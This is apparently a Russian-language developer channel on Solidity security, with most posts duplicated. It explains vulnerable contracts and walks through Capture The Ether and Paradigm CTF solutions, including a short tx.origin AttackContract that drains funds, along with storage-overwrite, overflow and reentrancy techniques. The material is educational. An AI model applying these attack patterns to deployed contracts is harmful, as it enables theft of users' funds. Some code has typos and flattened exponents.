Задача для самопроверки
Нашел прикольную задачу, по типу которой мы уже однажды разбирали на канале. Хотите сами попрактиковаться?
Ссылка на задачу.
#challenge
Нашел прикольную задачу, по типу которой мы уже однажды разбирали на канале. Хотите сами попрактиковаться?
Ссылка на задачу.
#challenge
Уязвимость в struct
Не довелось мне поработать со struct достаточно хорошо, поэтому следующий баг был для меня в новинку.
Рассмотрим просто контракт:
contract NameRegistrar {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord {
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord;
mapping(bytes32 => address) public resolve;
function register(bytes32 _name, address _mappedAddress) public {
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked);
}
}
Ничего странного не замечаете? Ошибок каких? Вроде бы их нет. Но есть один недочет.
Тут в контракте newRecord не инициализируется. Поэтому, когда в последующих строках мы устанавливаем значения:
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
они указывают на 0 и 1 слот в памяти, что приводит к установке значений в unlocked. И если мы передадим нужное значение в _name, то можно установить его, как true.
Так можно взломать этот контракт.
Вернее было бы оформить запись в struct так:
NameRecord memory newRecord = NameRecord({name: _name, mappedAddress: _mappedAddress});
Лично я не знал, что в этом случае структура может указывать на слоты памяти переменных. Поэтому важно инициализировать правильно.
Компилятор может указать вам на этот недочет, а в некоторых случая и остановить компиляцию контракта. Будьте внимательны со struct.
#struct #security
Не довелось мне поработать со struct достаточно хорошо, поэтому следующий баг был для меня в новинку.
Рассмотрим просто контракт:
contract NameRegistrar {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord {
bytes32 name;
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord;
mapping(bytes32 => address) public resolve;
function register(bytes32 _name, address _mappedAddress) public {
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked);
}
}
Ничего странного не замечаете? Ошибок каких? Вроде бы их нет. Но есть один недочет.
Тут в контракте newRecord не инициализируется. Поэтому, когда в последующих строках мы устанавливаем значения:
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
они указывают на 0 и 1 слот в памяти, что приводит к установке значений в unlocked. И если мы передадим нужное значение в _name, то можно установить его, как true.
Так можно взломать этот контракт.
Вернее было бы оформить запись в struct так:
NameRecord memory newRecord = NameRecord({name: _name, mappedAddress: _mappedAddress});
Лично я не знал, что в этом случае структура может указывать на слоты памяти переменных. Поэтому важно инициализировать правильно.
Компилятор может указать вам на этот недочет, а в некоторых случая и остановить компиляцию контракта. Будьте внимательны со struct.
#struct #security
🤯2
Опасность tx.origin
Много раз слsшал и сам писал на канале, чтобы никто не использовал tx.origin в своих контрактах.
Я сейчас нашел хороший пример, где показана его уязвимость.
Вот есть контракт:
contract Phishable {
address public owner;
constructor (address _owner) {
owner = _owner;
}
function () public payable {} // collect ether
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
И вот пример контракта хакера:
contract AttackContract {
Phishable phishableContract;
address attacker;
constructor (Phishable _phishableContract, address _attackerAddress) {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}
function () payable {
phishableContract.withdrawAll(attacker);
}
}
Если каким-то образом хакер убедит пользователя прислать ему некую сумму, то второй подпишет себе приговор на вывод всех средств.
Да, это пример, где от хакера требуются дополнительные действия для убеждения жертвы, но все же опасность tx.origin показана превосходно.
#security #txorigin
Много раз слsшал и сам писал на канале, чтобы никто не использовал tx.origin в своих контрактах.
Я сейчас нашел хороший пример, где показана его уязвимость.
Вот есть контракт:
contract Phishable {
address public owner;
constructor (address _owner) {
owner = _owner;
}
function () public payable {} // collect ether
function withdrawAll(address _recipient) public {
require(tx.origin == owner);
_recipient.transfer(this.balance);
}
}
И вот пример контракта хакера:
contract AttackContract {
Phishable phishableContract;
address attacker;
constructor (Phishable _phishableContract, address _attackerAddress) {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}
function () payable {
phishableContract.withdrawAll(attacker);
}
}
Если каким-то образом хакер убедит пользователя прислать ему некую сумму, то второй подпишет себе приговор на вывод всех средств.
Да, это пример, где от хакера требуются дополнительные действия для убеждения жертвы, но все же опасность tx.origin показана превосходно.
#security #txorigin
Capture The Ether. Math
Я все таки решил просмотреть задачи до конца, чтобы знать другие возможности по уязвимости контрактов, которые могут перетечь в более современные версии.
Задача 1
Простое задание на overflow. Мы вызываем перегрузку числа через 2256–1 / 1018, рассчитываем, сколько нужно передать wei, и взываем функции в контракте buy() и sell().
Такая перегрузка уже не актуальна для Solidity 0.8.
Задача 2
Еще один underflow с подключением стороннего кошелька для проведения транзакций, для которого делаете approve() на проведение транзакций. Затем используете баг в _transfer(), перегружая чужой кошелек, и затем перекидываете себе 1 млн токенов.
Задача 3
Тут условия задачи поначалу меня немного смутили. За кого я должен играть? За пользователя, который положил Эфир и хочет снять его без комиссии пораньше, или за другого пользователя, который получает комиссию? Все решилось пока я не нашел строчку с расчетом суммы снятия в collectPenalty(). Очередной overflow.
Нужно лишь каким-то образом пополнить баланс контракта. Может selfdestruct()?
Задача 4
Эта задание также не актуально для версий старше 0.6. Здесь нужно знать, что через переполнение динамического массива можно получить доступ к слотам памяти и переписать их. Подобную задачу мы решали в ethernaut.
Задача 5
Только вчера я делал пост про уязвимость в struct, и вот столкнулся с задачей, где это показывается. Все как и в посте: donate() делает запись не структуры, а именно слотов памяти. Осталось только правильно отформатировать наш адрес, чтобы он сохранился в слот owner.
От меня
последнюю задачу решим вместе с другим блоком. Она объединяет несколько способов взлома из предыдущих задач. Тоже все понятно, но, возможно, придется чуть более подробно ее расписать.
#capture #cte
Я все таки решил просмотреть задачи до конца, чтобы знать другие возможности по уязвимости контрактов, которые могут перетечь в более современные версии.
Задача 1
Простое задание на overflow. Мы вызываем перегрузку числа через 2256–1 / 1018, рассчитываем, сколько нужно передать wei, и взываем функции в контракте buy() и sell().
Такая перегрузка уже не актуальна для Solidity 0.8.
Задача 2
Еще один underflow с подключением стороннего кошелька для проведения транзакций, для которого делаете approve() на проведение транзакций. Затем используете баг в _transfer(), перегружая чужой кошелек, и затем перекидываете себе 1 млн токенов.
Задача 3
Тут условия задачи поначалу меня немного смутили. За кого я должен играть? За пользователя, который положил Эфир и хочет снять его без комиссии пораньше, или за другого пользователя, который получает комиссию? Все решилось пока я не нашел строчку с расчетом суммы снятия в collectPenalty(). Очередной overflow.
Нужно лишь каким-то образом пополнить баланс контракта. Может selfdestruct()?
Задача 4
Эта задание также не актуально для версий старше 0.6. Здесь нужно знать, что через переполнение динамического массива можно получить доступ к слотам памяти и переписать их. Подобную задачу мы решали в ethernaut.
Задача 5
Только вчера я делал пост про уязвимость в struct, и вот столкнулся с задачей, где это показывается. Все как и в посте: donate() делает запись не структуры, а именно слотов памяти. Осталось только правильно отформатировать наш адрес, чтобы он сохранился в слот owner.
От меня
последнюю задачу решим вместе с другим блоком. Она объединяет несколько способов взлома из предыдущих задач. Тоже все понятно, но, возможно, придется чуть более подробно ее расписать.
#capture #cte
👍1
Capture The Ether. Fifty Years
Да уж, заставила эта задача посидеть несколько часов, чтобы понять ее логику.
Сам я не решил ее, поэтому пошел гуглить ответы, которые были в нескольких вариациях. И вот уже над ними просидел столько времени.
Я сам сразу понял, что вся уязвимость кроется в upsert() else логике, вот только исполнить ее не мог. Вот сам контракт и вот эта функция:
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
Как мы видим из контракта, msg.value переписывает первый слот памяти, где лежит длина массива, а timestamp - второй слот (head), который защищает от цикла повторного вывода денег с массива.
Что нужно тут понимать?
Во-первых, принципы работы overflow.
Нам нужно каким-то образом записать в timestamp значение 0. Но просто так этого мы сделать не можем, будет выдавать ошибку. Поэтому нам нужно для начала создать переполнение чисел uint256 (2256 - 1), а в нашем случае минус один день, т.е. (2256-86400 секунд). И уже только после этого действия (транзакции), мы сможем записать "0" в timestamp второй транзакцией, что также обновить head до 0 (каким он и должен быть!).
Во-вторых, msg.value обновляет длину массива, поэтому нам нужно отправлять не по одному Эфиру (10**18), а по 1 Wei, тогда каждый wei будет равен размерности длины массива.
В-третьих, когда выполняется действие queue.push(contribution) в данном примере, в массив записывается значение msg.value, которое мы отправляем в Wei и еще "+1". Другими словами, после того как мы в первый раз отправим транзакцию и передадим 1 Wei, то на балансе контракта будет 1 Эфир и 1 Wei, а в массиве 1 Эфир и 2 Wei.
При этой, учитывая, что длина массива на момент получения транзакций уже будет равна "1", и мы, как бы отправляя 1 Wei, пытаемся перезаписать это значение, то благодаря push, который увеличивает длину массива на 1, ошибки не будет. И длина массива всегда будет плюсоваться.
Представляю, что из моего текста это тоже звучит мало понятно, поэтому вот вам две ссылки на английском языке, которые помогут разобраться с этой задачей. Первая и вторая. Но придется тоже посидеть.
Для решение этой задача нам нужно будет отправить несколько транзакций, постепенно увеличивая количество отправляемых Wei на +1, и переписывая overflow timestamp с "2**256-86400" до "0" до "86400", и так по кругу.
Потом мы сможем вызвать withdraw() и забрать некоторое количество Wei и Эфир.
Теперь понимаю, почему эта задача является самой дорогостоящей среди заданий CTE.
#capture #cte
Да уж, заставила эта задача посидеть несколько часов, чтобы понять ее логику.
Сам я не решил ее, поэтому пошел гуглить ответы, которые были в нескольких вариациях. И вот уже над ними просидел столько времени.
Я сам сразу понял, что вся уязвимость кроется в upsert() else логике, вот только исполнить ее не мог. Вот сам контракт и вот эта функция:
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
Как мы видим из контракта, msg.value переписывает первый слот памяти, где лежит длина массива, а timestamp - второй слот (head), который защищает от цикла повторного вывода денег с массива.
Что нужно тут понимать?
Во-первых, принципы работы overflow.
Нам нужно каким-то образом записать в timestamp значение 0. Но просто так этого мы сделать не можем, будет выдавать ошибку. Поэтому нам нужно для начала создать переполнение чисел uint256 (2256 - 1), а в нашем случае минус один день, т.е. (2256-86400 секунд). И уже только после этого действия (транзакции), мы сможем записать "0" в timestamp второй транзакцией, что также обновить head до 0 (каким он и должен быть!).
Во-вторых, msg.value обновляет длину массива, поэтому нам нужно отправлять не по одному Эфиру (10**18), а по 1 Wei, тогда каждый wei будет равен размерности длины массива.
В-третьих, когда выполняется действие queue.push(contribution) в данном примере, в массив записывается значение msg.value, которое мы отправляем в Wei и еще "+1". Другими словами, после того как мы в первый раз отправим транзакцию и передадим 1 Wei, то на балансе контракта будет 1 Эфир и 1 Wei, а в массиве 1 Эфир и 2 Wei.
При этой, учитывая, что длина массива на момент получения транзакций уже будет равна "1", и мы, как бы отправляя 1 Wei, пытаемся перезаписать это значение, то благодаря push, который увеличивает длину массива на 1, ошибки не будет. И длина массива всегда будет плюсоваться.
Представляю, что из моего текста это тоже звучит мало понятно, поэтому вот вам две ссылки на английском языке, которые помогут разобраться с этой задачей. Первая и вторая. Но придется тоже посидеть.
Для решение этой задача нам нужно будет отправить несколько транзакций, постепенно увеличивая количество отправляемых Wei на +1, и переписывая overflow timestamp с "2**256-86400" до "0" до "86400", и так по кругу.
Потом мы сможем вызвать withdraw() и забрать некоторое количество Wei и Эфир.
Теперь понимаю, почему эта задача является самой дорогостоящей среди заданий CTE.
#capture #cte
👍1
Capture The Ether. Accounts
Задача 1
Для того, чтобы решить эту задачу нужно пройти два условия: переделать имя smarx в значение bytes32 и подобрать адрес, внутри которого будут символы "badc0de".
Задача покажется не такой уж сложной, если вспомнить одну из предыдущих, где мы генерировали адреса контрактов.
Первое условие решается строкой return bytes32("smarx"), а для второго - только брутфорс, или перебор адресов.
Мы же помним как в старых задачах генерируются новые адреса? Конечно, на основе текущего и nonce по формуле:
address(keccak256(0xd6, 0x94, _addr, nonce))
и простая функция для перебора может выглядеть так:
function bruteforce (address _addr, uint8 nonce) returns (address) {
return address(keccak256(0xd6, 0x94, _addr, nonce));
}
Выполнив ее некоторое количество раз, можно подобрать адрес, внутри которого и будут символы "badc0de".
Задача 2
Интересная задача, не столько на взлом, сколько на знание основ работы сети Эфира. Здесь нам нужно узнать публичный ключ для подписи транзакций.
Тут есть варианты получения hex транзакции с etherscan или других сервисов, которые позволяют просмотреть действия на адресе.
Нужно найти адрес или контракт, открыть его транзакции и нажать на кнопку "Get Raw Transaction Hex". Там вы получите длинный набор символов.
Используя ethereumjs-tx мы можем получить публичный ключ из hex транзакции. Для этого создадим новый js и пропишем:
require EtX = require('ethereumjs-tx');
const rawTx = 'hexTx';
console.log('0x'+new EthereumTx(rawTx).getSenderPublicKey().toString('hex'));
Используя эту библиотеку, можно в rawTx передать и информацию о транзакции в формате:
let rawTx = {
nonce: '0x00',
gasPrie: 1000000,
gasLimit: ...
}
let tx = new EthereumTx(rawTx);
console.log('0x'+tx.serialize().toString('hex'));
Оставлю тут ссылку на саму библиотеку в npm.
Задача 3
В задаче нужно отправить транзакцию от имени владельца. Честно признаться, я так и не понял как решить эту задачу, в том смысле, что тут скорее нужно хорошо понимать, как подписываются транзакции в блокчейне. Эту тему я оставил на дополнительное изучение.
#capture #cte
Задача 1
Для того, чтобы решить эту задачу нужно пройти два условия: переделать имя smarx в значение bytes32 и подобрать адрес, внутри которого будут символы "badc0de".
Задача покажется не такой уж сложной, если вспомнить одну из предыдущих, где мы генерировали адреса контрактов.
Первое условие решается строкой return bytes32("smarx"), а для второго - только брутфорс, или перебор адресов.
Мы же помним как в старых задачах генерируются новые адреса? Конечно, на основе текущего и nonce по формуле:
address(keccak256(0xd6, 0x94, _addr, nonce))
и простая функция для перебора может выглядеть так:
function bruteforce (address _addr, uint8 nonce) returns (address) {
return address(keccak256(0xd6, 0x94, _addr, nonce));
}
Выполнив ее некоторое количество раз, можно подобрать адрес, внутри которого и будут символы "badc0de".
Задача 2
Интересная задача, не столько на взлом, сколько на знание основ работы сети Эфира. Здесь нам нужно узнать публичный ключ для подписи транзакций.
Тут есть варианты получения hex транзакции с etherscan или других сервисов, которые позволяют просмотреть действия на адресе.
Нужно найти адрес или контракт, открыть его транзакции и нажать на кнопку "Get Raw Transaction Hex". Там вы получите длинный набор символов.
Используя ethereumjs-tx мы можем получить публичный ключ из hex транзакции. Для этого создадим новый js и пропишем:
require EtX = require('ethereumjs-tx');
const rawTx = 'hexTx';
console.log('0x'+new EthereumTx(rawTx).getSenderPublicKey().toString('hex'));
Используя эту библиотеку, можно в rawTx передать и информацию о транзакции в формате:
let rawTx = {
nonce: '0x00',
gasPrie: 1000000,
gasLimit: ...
}
let tx = new EthereumTx(rawTx);
console.log('0x'+tx.serialize().toString('hex'));
Оставлю тут ссылку на саму библиотеку в npm.
Задача 3
В задаче нужно отправить транзакцию от имени владельца. Честно признаться, я так и не понял как решить эту задачу, в том смысле, что тут скорее нужно хорошо понимать, как подписываются транзакции в блокчейне. Эту тему я оставил на дополнительное изучение.
#capture #cte
Capture The Ether. Miscellaneous
Задача 1
Тут нужно захватить ownership.
Такие задачи мы уже решали. Обратите внимание на написание функции, которая должна выполнять роль конструктора. Нам не потребуется даже писать другой контракт.
Задача 2
Пример контракта на атаку reentrancy.
Здесь нужно знать различия ERC20 и ERC223, которое заключается в том, что при отправке токенов вызывается дополнительная функция tokenFallback(). Из этого можно подготовить атаку.
Создать контракт и от его имени пополнить банк на весь доступный баланс токенов (500к). Создать свою функцию tokenFallback(), которая будет отправлять дополнительный запрос на вывод средств. Затем просто вызвать withdraw().
#capture #cte
Задача 1
Тут нужно захватить ownership.
Такие задачи мы уже решали. Обратите внимание на написание функции, которая должна выполнять роль конструктора. Нам не потребуется даже писать другой контракт.
Задача 2
Пример контракта на атаку reentrancy.
Здесь нужно знать различия ERC20 и ERC223, которое заключается в том, что при отправке токенов вызывается дополнительная функция tokenFallback(). Из этого можно подготовить атаку.
Создать контракт и от его имени пополнить банк на весь доступный баланс токенов (500к). Создать свою функцию tokenFallback(), которая будет отправлять дополнительный запрос на вывод средств. Затем просто вызвать withdraw().
#capture #cte
Как узнать публичный ключ из транзакции?
Нашел интересный сайт, который позволяет получать публичный ключ из raw hash транзакции.
Нужно для начала провести транзакцию с адреса, затем получить на etherscan или где-то еще raw hash, потом заходите на сайт, выбираете пункт Transaction и вставляете туда хеш.
Сайт проекта.
#public #key #tx #raw
Нашел интересный сайт, который позволяет получать публичный ключ из raw hash транзакции.
Нужно для начала провести транзакцию с адреса, затем получить на etherscan или где-то еще raw hash, потом заходите на сайт, выбираете пункт Transaction и вставляете туда хеш.
Сайт проекта.
#public #key #tx #raw
Заметка от меня
В последнее время на канале было большое количество задач, разборов и поиска уязвимостей в контрактах. Предполагаю, что некоторым участникам это могло немного надоесть. Теперь я хочу немного разбавить контент на канале.
Задача все также останутся на канале. После всего пройденного я более чем уверен, что разборы заданий помогут нам смотреть на контракты под другим углом и видеть "проблемы" там, где обычные разработчики их упускают. При этом мы будем брать только одну задачу в день. Чтобы все смогли посмотреть ее и попробовать решить самим.
Вместе с этим будут появляться материалы по другим основам блокчейн разработки, как например, сегодня я планирую сделать несколько постов про использование дебагера в ремиксе, а чуть позже поговорить про опкод.
Также мне интересно в ближайшее время вспомнить и подучить ethers, и как его использовать на фроненде.
Другими словами, хочется сделать чтобы на канале за день проходили посты: разбор уязвимости контракта, новое по блокчейну и кодингу, работа с фронтендом, и, возможно, будем поднимать знания по биржам и экономическим факторам. Первые два обязательно, остальные - по силам.
Вот как-то так.
Всем приятного дня и легкого обучения!
В последнее время на канале было большое количество задач, разборов и поиска уязвимостей в контрактах. Предполагаю, что некоторым участникам это могло немного надоесть. Теперь я хочу немного разбавить контент на канале.
Задача все также останутся на канале. После всего пройденного я более чем уверен, что разборы заданий помогут нам смотреть на контракты под другим углом и видеть "проблемы" там, где обычные разработчики их упускают. При этом мы будем брать только одну задачу в день. Чтобы все смогли посмотреть ее и попробовать решить самим.
Вместе с этим будут появляться материалы по другим основам блокчейн разработки, как например, сегодня я планирую сделать несколько постов про использование дебагера в ремиксе, а чуть позже поговорить про опкод.
Также мне интересно в ближайшее время вспомнить и подучить ethers, и как его использовать на фроненде.
Другими словами, хочется сделать чтобы на канале за день проходили посты: разбор уязвимости контракта, новое по блокчейну и кодингу, работа с фронтендом, и, возможно, будем поднимать знания по биржам и экономическим факторам. Первые два обязательно, остальные - по силам.
Вот как-то так.
Всем приятного дня и легкого обучения!
🔥3
Задача на день
Эта задача была в Paradigm CTF 2021.
Я прикрепил два файла контрактов для тех, кто захочет сам посмотреть и решить их. Вообще, это задание на внимательность и знание стандарта ERC20.
Целью является заполучить 50 Эфиров на баланс контракта Setup.
Маленькая подсказка: не усложняйте! Все проще, чем кажется.
Ну, и вопрос по такому формату: Нужно ли прикладывать решение или делать пост с ним в конце дня?
UPD. Решение.
После пары часов поиска уязвимости в контракте, я осознал, что все решение кроется в условии задачи. Нужно просто пополнить счет контракта на нужную сумму. Контракт wallet вам вообще не нужен для этого. Создайте свой контракт и напишите функцию, которая делает депозит, типа такой:
setup.WETH().deposit.value(msg.value)();
setup.WETH().transfer(address(setup), setup.WANT());
Порой нужно просто читать условие внимательно...
#task #paradigm2021 #ctf
Эта задача была в Paradigm CTF 2021.
Я прикрепил два файла контрактов для тех, кто захочет сам посмотреть и решить их. Вообще, это задание на внимательность и знание стандарта ERC20.
Целью является заполучить 50 Эфиров на баланс контракта Setup.
Маленькая подсказка: не усложняйте! Все проще, чем кажется.
Ну, и вопрос по такому формату: Нужно ли прикладывать решение или делать пост с ним в конце дня?
UPD. Решение.
setup.WETH().deposit.value(msg.value)();
setup.WETH().transfer(address(setup), setup.WANT());
Порой нужно просто читать условие внимательно...
Описание Remix Debugger. Часть 1
Несколько раз, то в процессе решения задач, то в просмотре каких-либо уроков по Solidity, авторы открывали дебаггер Ремикса и показывали там изменения, которые происходят в коде контракта. Хоть на тот момент и было все понятно, но общую суть плагина я не понимал. Давайте вместе пройдемся по его окошкам.
Итак, после того, как вы сделали деплой контракта в Ремиксе и провели транзакцию, то в терминале ниже, можно будет увидеть информацию о ней и кнопочку Debug. Нажмем ее и откроется новый раздел в окне с кучей непонятных окошек.
1. Навигация. Она представлена полем, где указан хеш транзакции и навигационными стрелками.
- Ползунком можно управлять мышью, чтобы пройтись по всем шагам транзакций контракта. После версии 0.7 ваш код в контракте также будет подсвечиваться в соотношении текущего шага дебага.
Стрелочки (слева-направо):
- Step over back. Переход на предыдущий опкод. Если на предыдущем шаге вызывалась функция, то сейчас она вызвана НЕ будет.
- Step back. Шаг назад на предыдущий опкод.
- Step into. Переход на следующий опкод. Если существует вызов функции, то он будет совершен.
- Step over forward. Переход на следующий опкод. Если существует вызов функции, то он НЕ будет совершен.
- Jump to the previous breakpoint. Брейкпойнты расположены внутри Редактора кода. Если текущий брейкпоинт был пройден, то кнопка переместит слайдер на последний пройденный брейкпоинт.
- Jump out. Когда совершается вызов функции и вы нажимаете эту кнопку, то слайдер переместится в конец данного вызова.
- Jump to the next breakpoint. Если есть последующий брейкпоинт, то слайдер переместится туда.
Как я понял, брейкпоинты - это некие места в коде, по которым ориентируется дебаггер. Мы можем сами устанавливать их, нажав на строку в коде (или ее номер). Должна появиться небольшая точка слева от номера строки в коде.
Далее поговорим об окошках.
#remix #debugger
Несколько раз, то в процессе решения задач, то в просмотре каких-либо уроков по Solidity, авторы открывали дебаггер Ремикса и показывали там изменения, которые происходят в коде контракта. Хоть на тот момент и было все понятно, но общую суть плагина я не понимал. Давайте вместе пройдемся по его окошкам.
Итак, после того, как вы сделали деплой контракта в Ремиксе и провели транзакцию, то в терминале ниже, можно будет увидеть информацию о ней и кнопочку Debug. Нажмем ее и откроется новый раздел в окне с кучей непонятных окошек.
1. Навигация. Она представлена полем, где указан хеш транзакции и навигационными стрелками.
- Ползунком можно управлять мышью, чтобы пройтись по всем шагам транзакций контракта. После версии 0.7 ваш код в контракте также будет подсвечиваться в соотношении текущего шага дебага.
Стрелочки (слева-направо):
- Step over back. Переход на предыдущий опкод. Если на предыдущем шаге вызывалась функция, то сейчас она вызвана НЕ будет.
- Step back. Шаг назад на предыдущий опкод.
- Step into. Переход на следующий опкод. Если существует вызов функции, то он будет совершен.
- Step over forward. Переход на следующий опкод. Если существует вызов функции, то он НЕ будет совершен.
- Jump to the previous breakpoint. Брейкпойнты расположены внутри Редактора кода. Если текущий брейкпоинт был пройден, то кнопка переместит слайдер на последний пройденный брейкпоинт.
- Jump out. Когда совершается вызов функции и вы нажимаете эту кнопку, то слайдер переместится в конец данного вызова.
- Jump to the next breakpoint. Если есть последующий брейкпоинт, то слайдер переместится туда.
Как я понял, брейкпоинты - это некие места в коде, по которым ориентируется дебаггер. Мы можем сами устанавливать их, нажав на строку в коде (или ее номер). Должна появиться небольшая точка слева от номера строки в коде.
Далее поговорим об окошках.
#remix #debugger
👍2
Описание Remix Debugger. Часть 2
Поговорим об окошках дебаггера.
Function Stack. Показывает все функции, которые задействованы в транзакции.
Solidity Locals. Показывает локальные переменные внутри функции.
Solidity State. Показывает все переменные состояния в контракте.
Opcodes. Показывает шаг и опкод, который используется в данный момент.
Step details. Показывает больше информации о шаге опкода.
Stack. Отображает стек EVM.
Memory. Отображает состояние памяти. Первые два слота, по правилам языка, всегда путые (до 0x40), третий слот (0х40) - указывает на пустое место в памяти, куда можно вести запись. Записи хранятся в формате Hex.
Также в памяти отображается три колонки: первая - место в памяти, вторая - hex значение, третье - расшифровка значения. Если в третьем стоят знаки "?", это означает, что значения не существует.
Storage. Постоянное хранилище.
Call Stack. Все вычисления с массивами данных тут называются Stack. Он может быть максимальным размером в 1024 элемента и содержать слова в 256 бит.
Call Data. Содержит параметры функции.
Return Value. Отображает то, что возвращает функция.
Full Storage Changes. Отображает состояние хранилища на момент завершения выполнения функции.
Global Variables. Глобальные переменные доступные на данный момент.
Далее поговорим о том, как его использовать в своей работе с контрактом.
#remix #debugger
Поговорим об окошках дебаггера.
Function Stack. Показывает все функции, которые задействованы в транзакции.
Solidity Locals. Показывает локальные переменные внутри функции.
Solidity State. Показывает все переменные состояния в контракте.
Opcodes. Показывает шаг и опкод, который используется в данный момент.
Step details. Показывает больше информации о шаге опкода.
Stack. Отображает стек EVM.
Memory. Отображает состояние памяти. Первые два слота, по правилам языка, всегда путые (до 0x40), третий слот (0х40) - указывает на пустое место в памяти, куда можно вести запись. Записи хранятся в формате Hex.
Также в памяти отображается три колонки: первая - место в памяти, вторая - hex значение, третье - расшифровка значения. Если в третьем стоят знаки "?", это означает, что значения не существует.
Storage. Постоянное хранилище.
Call Stack. Все вычисления с массивами данных тут называются Stack. Он может быть максимальным размером в 1024 элемента и содержать слова в 256 бит.
Call Data. Содержит параметры функции.
Return Value. Отображает то, что возвращает функция.
Full Storage Changes. Отображает состояние хранилища на момент завершения выполнения функции.
Global Variables. Глобальные переменные доступные на данный момент.
Далее поговорим о том, как его использовать в своей работе с контрактом.
#remix #debugger
👍1
Описание Remix Debugger. Часть 3
Я сам еще мало работал с дебаггером, поэтому каких-либо супер детальных примеров привести не смогу. Скорее опишу, для каких задач он может быть полезен.
Отлавливание ошибок
Наверное, это его самая явная цель создания. Когда мы получаем ошибку в проведении транзакции, то есть четыре способа ее решить: просмотреть код в поисках недочетов, заглянуть в дебаггер, погуглить и спросить в чате.
В отличие от трех остальных, дебаггер позволит не только исправить ошибку, но и понять, как она вообще произошла в коде.
Особенно это будет полезно, когда у вас несколько перекликающихся контрактов (наследование), и нужно отследить этап, в точности до опкода, когда происходит ошибка и где.
Переменные
Также при помощи дебаггера можно отслеживать изменения состояний локальных переменных и переменных состояния. Очень часто при написании кода, его редактировании или наследовании, разработчики забывают удалить ненужные переменные или же они обновляются без предупреждения. И также часто это приводит к взлому.
Слоты памяти
Еще одна киллер-фича дебаггера. Мы уже не понаслышке знаем, что слоты памяти являются одним из самых уязвимых мест в Solidity. Одна не инициализированная структура, перегрузка массива или делегирование может стоить больших денег. Дебаггер поможет отловить такие изменения.
Если вы встречали другие примеры использования дебаггера в Ремиксе, то буду рад, если напишите о своем опыте в комментариях.
#remix #debugger
Я сам еще мало работал с дебаггером, поэтому каких-либо супер детальных примеров привести не смогу. Скорее опишу, для каких задач он может быть полезен.
Отлавливание ошибок
Наверное, это его самая явная цель создания. Когда мы получаем ошибку в проведении транзакции, то есть четыре способа ее решить: просмотреть код в поисках недочетов, заглянуть в дебаггер, погуглить и спросить в чате.
В отличие от трех остальных, дебаггер позволит не только исправить ошибку, но и понять, как она вообще произошла в коде.
Особенно это будет полезно, когда у вас несколько перекликающихся контрактов (наследование), и нужно отследить этап, в точности до опкода, когда происходит ошибка и где.
Переменные
Также при помощи дебаггера можно отслеживать изменения состояний локальных переменных и переменных состояния. Очень часто при написании кода, его редактировании или наследовании, разработчики забывают удалить ненужные переменные или же они обновляются без предупреждения. И также часто это приводит к взлому.
Слоты памяти
Еще одна киллер-фича дебаггера. Мы уже не понаслышке знаем, что слоты памяти являются одним из самых уязвимых мест в Solidity. Одна не инициализированная структура, перегрузка массива или делегирование может стоить больших денег. Дебаггер поможет отловить такие изменения.
Если вы встречали другие примеры использования дебаггера в Ремиксе, то буду рад, если напишите о своем опыте в комментариях.
#remix #debugger
👍1
Чтение событий в mainnet
Нашел интересный пример для чтения событий (event) в контрактах, которые уже были загружены в сеть. Для этого используются такие сервисы как Alchemy или Infura. Если я правильно понял, то для этого случая, все бесплатно.
Чтобы подключить прослушивание событий в сети, вам нужно зарегистрировать в одном из этих сервисов, создать API и получить ссылку WebSocket. Все это будет в вашем личном кабинете.
Также нам потребуется адрес контракта и его ABI, которые можно найти на etherscan. В нижеследующем примере был взят адрес контракта USDT.
Далее в js файле потребуется написать такой код:
const ethers = require("ethers");
const usdtAbi = require("pathToAbiFile");
async function main() {
const usdtAddress = "tokenAdress";
const provider = new ethers.providers.WebSocketProvider("linkToSocket");
const contract = new ethers.Contract (usdtAddress, usdtAbi, provider);
contract.on("Transfer", (from, to, value, event) => {
let info = {
from: from,
to: to,
value: ethers.utils.formatUnits(value, 6),
data: event
};
console.log(JSON.stringify(info, null, 4));
});
}
main();
Теперь, как только будет происходить события transfer, мы будем получать сообщение об этом.
Также рекомендую использовать dotenv для сокрытия важной информации в файлах, типа API используемого сервиса.
#ethers #ethersjs #alchemy #event
Нашел интересный пример для чтения событий (event) в контрактах, которые уже были загружены в сеть. Для этого используются такие сервисы как Alchemy или Infura. Если я правильно понял, то для этого случая, все бесплатно.
Чтобы подключить прослушивание событий в сети, вам нужно зарегистрировать в одном из этих сервисов, создать API и получить ссылку WebSocket. Все это будет в вашем личном кабинете.
Также нам потребуется адрес контракта и его ABI, которые можно найти на etherscan. В нижеследующем примере был взят адрес контракта USDT.
Далее в js файле потребуется написать такой код:
const ethers = require("ethers");
const usdtAbi = require("pathToAbiFile");
async function main() {
const usdtAddress = "tokenAdress";
const provider = new ethers.providers.WebSocketProvider("linkToSocket");
const contract = new ethers.Contract (usdtAddress, usdtAbi, provider);
contract.on("Transfer", (from, to, value, event) => {
let info = {
from: from,
to: to,
value: ethers.utils.formatUnits(value, 6),
data: event
};
console.log(JSON.stringify(info, null, 4));
});
}
main();
Теперь, как только будет происходить события transfer, мы будем получать сообщение об этом.
